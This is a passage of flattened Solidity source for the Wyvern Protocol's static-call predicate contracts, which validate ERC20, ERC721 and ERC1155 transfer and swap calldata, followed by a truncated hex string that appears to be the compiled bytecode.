abi.encodeWithSelector(selectors[i], extradata, addresses, howToCalls, uints, data, counterdata))) { return; } } revert("No static calls succeeded"); } function sequenceExact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall howToCall, uint[6] memory uints, bytes memory cdata) public view { (address[] memory addrs, uint[] memory extradataLengths, bytes4[] memory selectors, bytes memory extradatas) = abi.decode(extra, (address[], uint[], bytes4[], bytes)); /* Assert DELEGATECALL to atomicizer library with given call sequence, split up predicates accordingly. e.g. transferring two CryptoKitties in sequence. */ require(addrs.length == extradataLengths.length); (address[] memory caddrs, uint[] memory cvals, uint[] memory clengths, bytes memory calldatas) = abi.decode(ArrayUtils.arrayDrop(cdata, 4), (address[], uint[], uint[], bytes)); require(addresses[2] == atomicizer); require(howToCall == AuthenticatedProxy.HowToCall.DelegateCall); require(addrs.length == caddrs.length); // Exact calls only for (uint i = 0; i < addrs.length; i++) { require(cvals[i] == 0); } sequence(caddrs, clengths, calldatas, addresses, uints, addrs, extradataLengths, selectors, extradatas); } function dumbSequenceExact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory cdata, bytes memory) public view returns (uint) { sequenceExact(extra, addresses, howToCalls[0], uints, cdata); return 1; } function sequenceAnyAfter(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall howToCall, uint[6] memory uints, bytes memory cdata) public view { (address[] memory addrs, uint[] memory extradataLengths, bytes4[] memory selectors, bytes memory extradatas) = abi.decode(extra, (address[], uint[], bytes4[], bytes)); /* Assert DELEGATECALL to atomicizer library with given call sequence, split up predicates accordingly. e.g. transferring two CryptoKitties in sequence. */ require(addrs.length == extradataLengths.length); (address[] memory caddrs, uint[] memory cvals, uint[] memory clengths, bytes memory calldatas) = abi.decode(ArrayUtils.arrayDrop(cdata, 4), (address[], uint[], uint[], bytes)); require(addresses[2] == atomicizer); require(howToCall == AuthenticatedProxy.HowToCall.DelegateCall); require(addrs.length <= caddrs.length); // Extra calls OK for (uint i = 0; i < addrs.length; i++) { require(cvals[i] == 0); } sequence(caddrs, clengths, calldatas, addresses, uints, addrs, extradataLengths, selectors, extradatas); } function sequence( address[] memory caddrs, uint[] memory clengths, bytes memory calldatas, address[7] memory addresses, uint[6] memory uints, address[] memory addrs, uint[] memory extradataLengths, bytes4[] memory selectors, bytes memory extradatas) internal view { uint j = 0; uint l = 0; for (uint i = 0; i < addrs.length; i++) { bytes memory extradata = new bytes(extradataLengths[i]); for (uint k = 0; k < extradataLengths[i]; k++) { extradata[k] = extradatas[j]; j++; } bytes memory data = new bytes(clengths[i]); for (uint m = 0; m < clengths[i]; m++) { data[m] = calldatas[l]; l++; } addresses[2] = caddrs[i]; require(staticCall(addrs[i], abi.encodeWithSelector(selectors[i], extradata, addresses, AuthenticatedProxy.HowToCall.Call, uints, data))); } require(j == extradatas.length); } } // File: localhost/SetExchange/static/StaticERC1155.sol pragma solidity ^0.8.3; contract StaticERC1155 { function transferERC1155Exact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall howToCall, uint[6] memory, bytes memory data) public pure { // Decode extradata (address token, uint256 tokenId, uint256 amount) = abi.decode(extra, (address, uint256, uint256)); // Call target = token to give require(addresses[2] == token); // Call type = call require(howToCall == AuthenticatedProxy.HowToCall.Call); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", addresses[1], addresses[4], tokenId, amount, ""))); } function swapOneForOneERC1155(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint256[2] memory nftGiveGet, uint256[2] memory nftAmounts) = abi.decode(extra, (address[2], uint256[2], uint256[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0], "ERC1155: call target must equal address of token to give"); // Assert more than zero require(nftAmounts[0] > 0,"ERC1155: give amount must be larger than zero"); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call, "ERC1155: call must be a direct call"); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", addresses[1], addresses[4], nftGiveGet[0], nftAmounts[0], ""))); // Countercall target = token to get require(addresses[5] == tokenGiveGet[1], "ERC1155: countercall target must equal address of token to get"); // Assert more than zero require(nftAmounts[1] > 0,"ERC1155: take amount must be larger than zero"); // Countercall type = call require(howToCalls[1] == AuthenticatedProxy.HowToCall.Call, "ERC1155: countercall must be a direct call"); // Assert countercalldata require(ArrayUtils.arrayEq(counterdata, abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", addresses[4], addresses[1], nftGiveGet[1], nftAmounts[1], ""))); // Mark filled return 1; } function swapOneForOneERC1155Decoding(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Calculate function signature bytes memory sig = ArrayUtils.arrayTake(abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)"), 4); // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint256[2] memory nftGiveGet, uint256[2] memory nftAmounts) = abi.decode(extra, (address[2],uint256[2],uint256[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0], "ERC1155: call target must equal address of token to give"); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call, "ERC1155: call must be a direct call"); // Assert signature require(ArrayUtils.arrayEq(sig, ArrayUtils.arrayTake(data, 4))); // Decode and assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", addresses[1], addresses[4], nftGiveGet[0], nftAmounts[0], ""))); // Decode and assert countercalldata require(ArrayUtils.arrayEq(counterdata, abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", addresses[4], addresses[1], nftGiveGet[1], nftAmounts[1], ""))); // Mark filled return 1; } } // File: localhost/SetExchange/static/StaticERC721.sol pragma solidity ^0.8.3; contract StaticERC721 { function transferERC721Exact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall howToCall, uint[6] memory, bytes memory data) public pure { // Decode extradata (address token, uint tokenId) = abi.decode(extra, (address, uint)); // Call target = token to give require(addresses[2] == token); // Call type = call require(howToCall == AuthenticatedProxy.HowToCall.Call); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[1], addresses[4], tokenId))); } function swapOneForOneERC721(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint[2] memory nftGiveGet) = abi.decode(extra, (address[2],uint[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0], "ERC721: call target must equal address of token to give"); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call, "ERC721: call must be a direct call"); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[1], addresses[4], nftGiveGet[0]))); // Countercall target = token to get require(addresses[5] == tokenGiveGet[1], "ERC721: countercall target must equal address of token to get"); // Countercall type = call require(howToCalls[1] == AuthenticatedProxy.HowToCall.Call, "ERC721: countercall must be a direct call"); // Assert countercalldata require(ArrayUtils.arrayEq(counterdata, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[4], addresses[1], nftGiveGet[1]))); // Mark filled return 1; } function swapOneForOneERC721Decoding(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Calculate function signature bytes memory sig = ArrayUtils.arrayTake(abi.encodeWithSignature("transferFrom(address,address,uint256)"), 4); // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint[2] memory nftGiveGet) = abi.decode(extra, (address[2],uint[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0], "ERC721: call target must equal address of token to give"); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call, "ERC721: call must be a direct call"); // Assert signature require(ArrayUtils.arrayEq(sig, ArrayUtils.arrayTake(data, 4))); // Decode calldata (address callFrom, address callTo, uint256 nftGive) = abi.decode(ArrayUtils.arrayDrop(data, 4), (address, address, uint256)); // Assert from require(callFrom == addresses[1]); // Assert to require(callTo == addresses[4]); // Assert NFT require(nftGive == nftGiveGet[0]); // Countercall target = token to get require(addresses[5] == tokenGiveGet[1], "ERC721: countercall target must equal address of token to get"); // Countercall type = call require(howToCalls[1] == AuthenticatedProxy.HowToCall.Call, "ERC721: countercall must be a direct call"); // Assert signature require(ArrayUtils.arrayEq(sig, ArrayUtils.arrayTake(counterdata, 4))); // Decode countercalldata (address countercallFrom, address countercallTo, uint256 nftGet) = abi.decode(ArrayUtils.arrayDrop(counterdata, 4), (address, address, uint256)); // Assert from require(countercallFrom == addresses[4]); // Assert to require(countercallTo == addresses[1]); // Assert NFT require(nftGet == nftGiveGet[1]); // Mark filled return 1; } } // File: localhost/SetExchange/static/StaticERC20.sol pragma solidity ^0.8.3; contract StaticERC20 { function transferERC20Exact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall howToCall, uint[6] memory, bytes memory data) public pure { // Decode extradata (address token, uint amount) = abi.decode(extra, (address, uint)); // Call target = token to give require(addresses[2] == token); // Call type = call require(howToCall == AuthenticatedProxy.HowToCall.Call); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[1], addresses[4], amount))); } function swapExact(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint[2] memory amountGiveGet) = abi.decode(extra, (address[2], uint[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0]); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call); // Assert calldata require(ArrayUtils.arrayEq(data, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[1], addresses[4], amountGiveGet[0]))); require(addresses[5] == tokenGiveGet[1]); // Countercall type = call require(howToCalls[1] == AuthenticatedProxy.HowToCall.Call); // Assert countercalldata require(ArrayUtils.arrayEq(counterdata, abi.encodeWithSignature("transferFrom(address,address,uint256)", addresses[4], addresses[1], amountGiveGet[1]))); // Mark filled. return 1; } function swapForever(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public pure returns (uint) { // Calculate function signature bytes memory sig = ArrayUtils.arrayTake(abi.encodeWithSignature("transferFrom(address,address,uint256)"), 4); // Zero-value require(uints[0] == 0); // Decode extradata (address[2] memory tokenGiveGet, uint[2] memory numeratorDenominator) = abi.decode(extra, (address[2], uint[2])); // Call target = token to give require(addresses[2] == tokenGiveGet[0]); // Call type = call require(howToCalls[0] == AuthenticatedProxy.HowToCall.Call); // Check signature require(ArrayUtils.arrayEq(sig, ArrayUtils.arrayTake(data, 4))); // Decode calldata (address callFrom, address callTo, uint256 amountGive) = abi.decode(ArrayUtils.arrayDrop(data, 4), (address, address, uint256)); // Assert from require(callFrom == addresses[1]); // Assert to require(callTo == addresses[4]); // Countercall target = token to get require(addresses[5] == tokenGiveGet[1]); // Countercall type = call require(howToCalls[1] == AuthenticatedProxy.HowToCall.Call); // Check signature require(ArrayUtils.arrayEq(sig, ArrayUtils.arrayTake(counterdata, 4))); // Decode countercalldata (address countercallFrom, address countercallTo, uint256 amountGet) = abi.decode(ArrayUtils.arrayDrop(counterdata, 4), (address, address, uint256)); // Assert from require(countercallFrom == addresses[4]); // Assert to require(countercallTo == addresses[1]); // Assert ratio // ratio = min get/give require(SafeMath.mul(amountGet, numeratorDenominator[1]) >= SafeMath.mul(amountGive, numeratorDenominator[0])); // Order will be set with maximumFill = 2 (to allow signature caching) return 1; } } // File: localhost/SetExchange/WyvernStatic.sol pragma solidity ^0.8.3; /** * @title WyvernStatic * @author Wyvern Protocol Developers */ contract WyvernStatic is StaticERC20, StaticERC721, StaticERC1155, StaticUtil { string public constant name = "Wyvern Static"; constructor (address atomicizerAddress){ atomicizer = atomicizerAddress; } function test () public pure { } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063883ee430116100c3578063dcbcb5d91161007c578063dcbcb5d9146102de578063ddf98cc2146102f1578063e1beb48414610304578063ed94fc661461031e578063f6280c8614610331578063f8a8fd6d1461021557600080fd5b8063883ee4301461027d578063a09858da14610290578063ac5cc03f146102a3578063b67bf134146102b6578063b6c8184b14610202578063ba352743146102cb57600080fd5b8063265a87e711610115578063265a87e7146102025780632e0b69db146102175780634563928f1461022a5780634e9413f91461023d5780637557ef9814610250578063837b54ad1461026357600080fd5b8063025b6d341461015257806306fdde03146101785780630d3b91d4146101b157806320e9a818146101dc57806323f62d9c146101ef575b600080fd5b610165610160366004611d4c565b610344565b6040519081526020015b60405180910390f35b6101a46040518060400160405280600d81526020016c57797665726e2053746174696360981b81525081565b60405161016f9190611ead565b6000546101c4906001600160a01b031681565b6040516001600160a01b03909116815260200161016f565b6101656101ea366004611d4c565b610366565b6101656101fd366004611d4c565b61050f565b610215610210366004611ec0565b610665565b005b610215610225366004611ec0565b61070f565b610165610238366004611d4c565b6107d7565b61021561024b366004611d4c565b610abc565b61016561025e366004611d4c565b610c60565b610165610271366004611d4c565b60019695505050505050565b61016561028b366004611d4c565b610d7a565b61016561029e366004611d4c565b610fe5565b6102156102b1366004611ec0565b611006565b6102156102c4366004611ec0565b5050505050565b6101656102d9366004611d4c565b61111c565b6102156102ec366004611d4c565b61122b565b6101656102ff366004611d4c565b611446565b610165610312366004611d4c565b60009695505050505050565b61021561032c366004611ec0565b61145f565b61016561033f366004611d4c565b611555565b60006103598787878460200201518787611006565b5060019695505050505050565b60008060008060008a8060200190518101906103829190612027565b929650909450925090506103f684600060200201518460006020020151848d8d600060200201518d8d6040516024016103bf959493929190612174565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261176a565b6103ff57600080fd5b6104f584600160200201518460016020020151836040518060e001604052808f60036007811061043157610431611f5b565b602090810291909101516001600160a01b03168252018f6004602090810291909101516001600160a01b03168252018f6005602090810291909101516001600160a01b03168252018f6000602090810291909101516001600160a01b03168252018f6001602090810291909101516001600160a01b03168252018f6002602090810291909101516001600160a01b03168252018f600660200201516001600160a01b031690528d600160200201518d8c6040516024016103bf959493929190612174565b6104fe57600080fd5b5060019a9950505050505050505050565b82516000901561051e57600080fd5b600080888060200190518101906105359190612217565b815160408b01519294509092506001600160a01b0391821691161461055957600080fd5b8651600090600181111561056f5761056f612119565b1461057957600080fd5b6105e8858960015b602002015160808b01518460005b60200201516040516001600160a01b03938416602482015292909116604483015260648201526084015b60408051601f198184030181529190526020810180516001600160e01b03166323b872dd60e01b179052611780565b6105f157600080fd5b602082015160a08901516001600160a01b0390811691161461061257600080fd5b6020870151600090600181111561062b5761062b612119565b1461063557600080fd5b6080880151602089015161064d91869184600161058f565b61065657600080fd5b50600198975050505050505050565b6000808680602001905181019061067c919061224c565b90925090506001600160a01b03821686600260200201516001600160a01b0316146106a657600080fd5b60008560018111156106ba576106ba612119565b146106c457600080fd5b602086015160808701516040516001600160a01b03928316602482015291166044820152606481018290526106fd9084906084016105b9565b61070657600080fd5b50505050505050565b600080600087806020019051810190610728919061227a565b919450925090506001600160a01b03831687600260200201516001600160a01b03161461075457600080fd5b600086600181111561076857610768612119565b1461077257600080fd5b602087015160808801516040516107c492879261079592879087906024016122b1565b60408051601f198184030181529190526020810180516001600160e01b0316637921219560e11b179052611780565b6107cd57600080fd5b5050505050505050565b8251600090156107e657600080fd5b6000806000898060200190518101906107ff91906122e9565b825160408d015193965091945092506001600160a01b039182169116146108415760405162461bcd60e51b81526004016108389061232f565b60405180910390fd5b80516108a55760405162461bcd60e51b815260206004820152602d60248201527f455243313135353a206769766520616d6f756e74206d757374206265206c617260448201526c676572207468616e207a65726f60981b6064820152608401610838565b875160009060018111156108bb576108bb612119565b146108d85760405162461bcd60e51b81526004016108389061238c565b61090b868a600160200201518b60045b602002015185518560005b602002015160405160240161079594939291906122b1565b61091457600080fd5b602083015160a08a01516001600160a01b0390811691161461099e5760405162461bcd60e51b815260206004820152603e60248201527f455243313135353a20636f756e74657263616c6c20746172676574206d75737460448201527f20657175616c2061646472657373206f6620746f6b656e20746f2067657400006064820152608401610838565b6020810151610a055760405162461bcd60e51b815260206004820152602d60248201527f455243313135353a2074616b6520616d6f756e74206d757374206265206c617260448201526c676572207468616e207a65726f60981b6064820152608401610838565b60208801516000906001811115610a1e57610a1e612119565b14610a7e5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20636f756e74657263616c6c206d757374206265206120646044820152691a5c9958dd0818d85b1b60b21b6064820152608401610838565b610aa3858a600460200201518b60015b602002015185600160200201518560016108f3565b610aac57600080fd5b5060019998505050505050505050565b60008060008089806020019051810190610ad6919061251e565b93509350935093508151845114610aec57600080fd5b6000805b8551811015610c52576000848281518110610b0d57610b0d611f5b565b60200260200101516001600160401b03811115610b2c57610b2c611b5d565b6040519080825280601f01601f191660200182016040528015610b56576020820181803683370190505b50905060005b858381518110610b6e57610b6e611f5b565b6020026020010151811015610be357848481518110610b8f57610b8f611f5b565b602001015160f81c60f81b828281518110610bac57610bac611f5b565b60200101906001600160f81b031916908160001a90535083610bcd816125c7565b9450508080610bdb906125c7565b915050610b5c565b50610c36878381518110610bf957610bf9611f5b565b6020026020010151878481518110610c1357610c13611f5b565b6020026020010151838f8f8f8f8f6040516024016103bf969594939291906125e2565b610c3f57600080fd5b5080610c4a816125c7565b915050610af0565b505050505050505050505050565b604080516004808252602482019092526020810180516001600160e01b0316637921219560e11b1790526000918291610c98916117e4565b855190915015610ca757600080fd5b60008060008a806020019051810190610cc091906122e9565b825160408e015193965091945092506001600160a01b03918216911614610cf95760405162461bcd60e51b81526004016108389061232f565b88516000906001811115610d0f57610d0f612119565b14610d2c5760405162461bcd60e51b81526004016108389061238c565b610d4084610d3b8960046117e4565b611780565b610d4957600080fd5b610d5d878b600160200201518c60046108e8565b610d6657600080fd5b6104f5868b600460200201518c6001610a8e565b604080516004808252602482019092526020810180516001600160e01b03166323b872dd60e01b1790526000918291610db2916117e4565b855190915015610dc157600080fd5b60008089806020019051810190610dd89190612217565b815160408c01519294509092506001600160a01b03918216911614610e0f5760405162461bcd60e51b81526004016108389061267a565b87516000906001811115610e2557610e25612119565b14610e425760405162461bcd60e51b8152600401610838906126d7565b610e5183610d3b8860046117e4565b610e5a57600080fd5b6000806000610e6a8960046117f9565b806020019051810190610e7d9190612719565b919450925090508b600160200201516001600160a01b0316836001600160a01b031614610ea957600080fd5b60808c01516001600160a01b03838116911614610ec557600080fd5b83518114610ed257600080fd5b602085015160a08d01516001600160a01b03908116911614610f065760405162461bcd60e51b81526004016108389061275c565b60208b01516000906001811115610f1f57610f1f612119565b14610f3c5760405162461bcd60e51b8152600401610838906127b9565b610f4b86610d3b8a60046117e4565b610f5457600080fd5b6000806000610f648b60046117f9565b806020019051810190610f779190612719565b919450925090508e600460200201516001600160a01b0316836001600160a01b031614610fa357600080fd5b60208f01516001600160a01b03838116911614610fbf57600080fd5b60208701518114610fcf57600080fd5b5060019f9e505050505050505050505050505050565b60008360055b6020020151610ffb906001612802565b979650505050505050565b60008060008088806020019051810190611020919061281a565b9350935093509350825184511461103657600080fd5b6000806000806110478960046117f9565b80602001905181019061105a9190612897565b600054939750919550935091506001600160a01b03168c600260200201516001600160a01b03161461108b57600080fd5b60018b600181111561109f5761109f612119565b146110a957600080fd5b83518851146110b757600080fd5b60005b88518110156110fb578381815181106110d5576110d5611f5b565b60200260200101516000146110e957600080fd5b806110f3816125c7565b9150506110ba565b5061110d8483838f8e8d8d8d8d61181d565b50505050505050505050505050565b82516000901561112b57600080fd5b600080888060200190518101906111429190612217565b815160408b01519294509092506001600160a01b039182169116146111795760405162461bcd60e51b81526004016108389061267a565b8651600090600181111561118f5761118f612119565b146111ac5760405162461bcd60e51b8152600401610838906126d7565b6111b885896001610581565b6111c157600080fd5b602082015160a08901516001600160a01b039081169116146111f55760405162461bcd60e51b81526004016108389061275c565b6020870151600090600181111561120e5761120e612119565b146106355760405162461bcd60e51b8152600401610838906127b9565b60008060008089806020019051810190611245919061251e565b935093509350935081518451146112c45760405162461bcd60e51b815260206004820152603860248201527f446966666572656e74206e756d626572206f66207374617469632063616c6c2060448201527f61646472657373657320616e64206578747261646174617300000000000000006064820152608401610838565b6000805b85518110156113f55760008482815181106112e5576112e5611f5b565b60200260200101516001600160401b0381111561130457611304611b5d565b6040519080825280601f01601f19166020018201604052801561132e576020820181803683370190505b50905060005b85838151811061134657611346611f5b565b60200260200101518110156113bb5784848151811061136757611367611f5b565b602001015160f81c60f81b82828151811061138457611384611f5b565b60200101906001600160f81b031916908160001a905350836113a5816125c7565b94505080806113b3906125c7565b915050611334565b506113d1878381518110610bf957610bf9611f5b565b156113e2575050505050505061143e565b50806113ed816125c7565b9150506112c8565b5060405162461bcd60e51b815260206004820152601960248201527f4e6f207374617469632063616c6c7320737563636565646564000000000000006044820152606401610838565b505050505050565b6000611456878787878787610366565b50836005610feb565b60008060008088806020019051810190611479919061281a565b9350935093509350825184511461148f57600080fd5b6000806000806114a08960046117f9565b8060200190518101906114b39190612897565b600054939750919550935091506001600160a01b03168c600260200201516001600160a01b0316146114e457600080fd5b60018b60018111156114f8576114f8612119565b1461150257600080fd5b83518851111561151157600080fd5b60005b88518110156110fb5783818151811061152f5761152f611f5b565b602002602001015160001461154357600080fd5b8061154d816125c7565b915050611514565b604080516004808252602482019092526020810180516001600160e01b03166323b872dd60e01b179052600091829161158d916117e4565b85519091501561159c57600080fd5b600080898060200190518101906115b39190612217565b815160408c01519294509092506001600160a01b039182169116146115d757600080fd5b875160009060018111156115ed576115ed612119565b146115f757600080fd5b61160683610d3b8860046117e4565b61160f57600080fd5b600080600061161f8960046117f9565b8060200190518101906116329190612719565b919450925090508b600160200201516001600160a01b0316836001600160a01b03161461165e57600080fd5b60808c01516001600160a01b0383811691161461167a57600080fd5b602085015160a08d01516001600160a01b0390811691161461169b57600080fd5b60208b015160009060018111156116b4576116b4612119565b146116be57600080fd5b6116cd86610d3b8a60046117e4565b6116d657600080fd5b60008060006116e68b60046117f9565b8060200190518101906116f99190612719565b919450925090508e600460200201516001600160a01b0316836001600160a01b03161461172557600080fd5b60208f01516001600160a01b0383811691161461174157600080fd5b611753848860005b6020020151611ad6565b61175f82896001611749565b1015610fcf57600080fd5b600080604051835160208501865afa9392505050565b81518151600091600191811480831461179c57600092506117da565b600160208701838101602088015b6002848385100114156117d55780518351146117c95760009650600093505b602092830192016117aa565b505050505b5090949350505050565b60606117f283600084611ae2565b9392505050565b60606000611808845184611b51565b9050611815848483611ae2565b949350505050565b60008060005b8651811015611abb57600086828151811061184057611840611f5b565b60200260200101516001600160401b0381111561185f5761185f611b5d565b6040519080825280601f01601f191660200182016040528015611889576020820181803683370190505b50905060005b8783815181106118a1576118a1611f5b565b6020026020010151811015611916578585815181106118c2576118c2611f5b565b602001015160f81c60f81b8282815181106118df576118df611f5b565b60200101906001600160f81b031916908160001a90535084611900816125c7565b955050808061190e906125c7565b91505061188f565b5060008c838151811061192b5761192b611f5b565b60200260200101516001600160401b0381111561194a5761194a611b5d565b6040519080825280601f01601f191660200182016040528015611974576020820181803683370190505b50905060005b8d848151811061198c5761198c611f5b565b6020026020010151811015611a01578c85815181106119ad576119ad611f5b565b602001015160f81c60f81b8282815181106119ca576119ca611f5b565b60200101906001600160f81b031916908160001a905350846119eb816125c7565b95505080806119f9906125c7565b91505061197a565b508d8381518110611a1457611a14611f5b565b60200260200101518b600260078110611a2f57611a2f611f5b565b60200201906001600160a01b031690816001600160a01b031681525050611a9d898481518110611a6157611a61611f5b565b6020026020010151888581518110611a7b57611a7b611f5b565b6020026020010151848e60008f876040516024016103bf959493929190612174565b611aa657600080fd5b50508080611ab3906125c7565b915050611823565b5082518214611ac957600080fd5b5050505050505050505050565b60006117f282846128f2565b60608082158015611afe57604051915060208201604052611b48565b6040519150601f8416801560200281840101858101878315602002848b0101015b81831015611b37578051835260209283019201611b1f565b5050858452601f01601f1916604052505b50949350505050565b60006117f28284612911565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715611b9557611b95611b5d565b60405290565b604051601f8201601f191681016001600160401b0381118282101715611bc357611bc3611b5d565b604052919050565b60006001600160401b03821115611be457611be4611b5d565b50601f01601f191660200190565b600082601f830112611c0357600080fd5b8135611c16611c1182611bcb565b611b9b565b818152846020838601011115611c2b57600080fd5b816020850160208301376000918101602001919091529392505050565b6001600160a01b0381168114611c5d57600080fd5b50565b600082601f830112611c7157600080fd5b60405160e081018181106001600160401b0382111715611c9357611c93611b5d565b6040528060e0840185811115611ca857600080fd5b845b81811015611ccb578035611cbd81611c48565b835260209283019201611caa565b509195945050505050565b803560028110611ce557600080fd5b919050565b600082601f830112611cfb57600080fd5b60405160c081018181106001600160401b0382111715611d1d57611d1d611b5d565b6040528060c0840185811115611d3257600080fd5b845b81811015611ccb578035835260209283019201611d34565b6000806000806000806102408789031215611d6657600080fd5b86356001600160401b0380821115611d7d57600080fd5b611d898a838b01611bf2565b975060209150611d9b8a838b01611c60565b96508961011f8a0112611dad57600080fd5b611db5611b73565b806101408b018c811115611dc857600080fd5b6101008c015b81811015611dec57611ddf81611cd6565b8452928501928501611dce565b50819850611dfa8d82611cea565b9750505050610200890135915080821115611e1457600080fd5b611e208a838b01611bf2565b9350610220890135915080821115611e3757600080fd5b50611e4489828a01611bf2565b9150509295509295509295565b60005b83811015611e6c578181015183820152602001611e54565b83811115611e7b576000848401525b50505050565b60008151808452611e99816020860160208601611e51565b601f01601f19169290920160200192915050565b6020815260006117f26020830184611e81565b60008060008060006102008688031215611ed957600080fd5b85356001600160401b0380821115611ef057600080fd5b611efc89838a01611bf2565b9650611f0b8960208a01611c60565b9550611f1a6101008901611cd6565b9450611f2a896101208a01611cea565b93506101e0880135915080821115611f4157600080fd5b50611f4e88828901611bf2565b9150509295509295909350565b634e487b7160e01b600052603260045260246000fd5b600082601f830112611f8257600080fd5b611f8a611b73565b806040840185811115611f9c57600080fd5b845b81811015611fbf578051611fb181611c48565b845260209384019301611f9e565b509095945050505050565b80516001600160e01b031981168114611ce557600080fd5b600082601f830112611ff357600080fd5b8151612001611c1182611bcb565b81815284602083860101111561201657600080fd5b611815826020830160208701611e51565b60008060008060c0858703121561203d57600080fd5b6120478686611f71565b935085605f86011261205857600080fd5b612060611b73565b80608087018881111561207257600080fd5b604088015b818110156120965761208881611fca565b845260209384019301612077565b505190945090506001600160401b03808211156120b257600080fd5b6120be88838901611fe2565b935060a08701519150808211156120d457600080fd5b506120e187828801611fe2565b91505092959194509250565b8060005b6007811015611e7b5781516001600160a01b03168452602093840193909101906001016120f1565b634e487b7160e01b600052602160045260246000fd5b6002811061214d57634e487b7160e01b600052602160045260246000fd5b9052565b8060005b6006811015611e7b578151845260209384019390910190600101612155565b600061020080835261218881840189611e81565b905061219760208401886120ed565b6121a561010084018761212f565b6121b3610120840186612151565b8281036101e08401526121c68185611e81565b98975050505050505050565b600082601f8301126121e357600080fd5b6121eb611b73565b8060408401858111156121fd57600080fd5b845b81811015611fbf5780518452602093840193016121ff565b6000806080838503121561222a57600080fd5b6122348484611f71565b915061224384604085016121d2565b90509250929050565b6000806040838503121561225f57600080fd5b825161226a81611c48565b6020939093015192949293505050565b60008060006060848603121561228f57600080fd5b835161229a81611c48565b602085015160409095015190969495509392505050565b6001600160a01b0394851681529290931660208301526040820152606081019190915260a06080820181905260009082015260c00190565b600080600060c084860312156122fe57600080fd5b6123088585611f71565b925061231785604086016121d2565b915061232685608086016121d2565b90509250925092565b60208082526038908201527f455243313135353a2063616c6c20746172676574206d75737420657175616c2060408201527f61646472657373206f6620746f6b656e20746f20676976650000000000000000606082015260800190565b60208082526023908201527f455243313135353a2063616c6c206d7573742062652061206469726563742063604082015262185b1b60ea1b606082015260800190565b60006001600160401b038211156123e8576123e8611b5d565b5060051b60200190565b600082601f83011261240357600080fd5b81516020612413611c11836123cf565b82815260059290921b8401810191818101908684111561243257600080fd5b8286015b8481101561245657805161244981611c48565b8352918301918301612436565b509695505050505050565b600082601f83011261247257600080fd5b81516020612482611c11836123cf565b82815260059290921b840181019181810190868411156124a157600080fd5b8286015b84811015612456576124b681611fca565b83529183019183016124a5565b600082601f8301126124d457600080fd5b815160206124e4611c11836123cf565b82815260059290921b8401810191818101908684111561250357600080fd5b8286015b848110156124565780518352918301918301612507565b6000806000806080858703121561253457600080fd5b84516001600160401b038082111561254b57600080fd5b612557888389016123f2565b9550602087015191508082111561256d57600080fd5b61257988838901612461565b9450604087015191508082111561258f57600080fd5b61259b888389016124c3565b935060608701519150808211156120d457600080fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156125db576125db6125b1565b5060010190565b60006102408083526125f68184018a611e81565b905060206126068185018a6120ed565b61010084018860005b60028110156126335761262383835161212f565b918301919083019060010161260f565b50505050612645610140840187612151565b8281036102008401526126588186611e81565b905082810361022084015261266d8185611e81565b9998505050505050505050565b60208082526037908201527f4552433732313a2063616c6c20746172676574206d75737420